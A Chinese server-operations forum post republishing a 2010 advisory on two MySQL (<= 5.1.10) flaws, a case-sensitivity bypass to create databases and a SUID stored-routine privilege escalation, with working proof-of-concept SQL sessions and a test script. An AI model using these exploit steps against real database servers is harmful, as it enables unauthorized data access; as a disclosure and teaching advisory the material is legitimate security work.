服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5145|回复: 0

MySQL权限提升及安全限制绕过漏洞

[复制链接]
dirtysea 发表于 2010-7-11 19:08:35 | 显示全部楼层 |阅读模式
受影响系统:
MySQL AB MySQL <= 5.1.10
描述:
BUGTRAQ ID: 19559
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。
此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。
测试方法:
【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】
1、创建数据库

$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version:4.1.16-standard
mysql> create database another;
ERROR 1044: Access denied for user [email=%27sample%27@%27%%27]'sample'@'%'[/email] to database 'another'
mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user [email=malory@localhost]malory@localhost[/email];
grant all privileges on mysqltest1.* to [email=malory@localhost]malory@localhost[/email];
# Create harmless (butSUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to [email=malory@localhost]malory@localhost[/email];
use mysqltest2;
# Create table in which [email=malory@localhost]malory@localhost[/email] will be interestedbut to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct [email=malory@localhost]malory@localhost[/email]don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit securityhole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the contextof
# f_suid() definer, so [email=malory@locahost]malory@locahost[/email] gets all info that hewants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user [email=malory@localhost]malory@localhost[/email];
drop database mysqltest1;
drop database mysqltest2;

建议:
厂商补丁:MySQL AB
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-3-29 18:22 , Processed in 0.175360 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表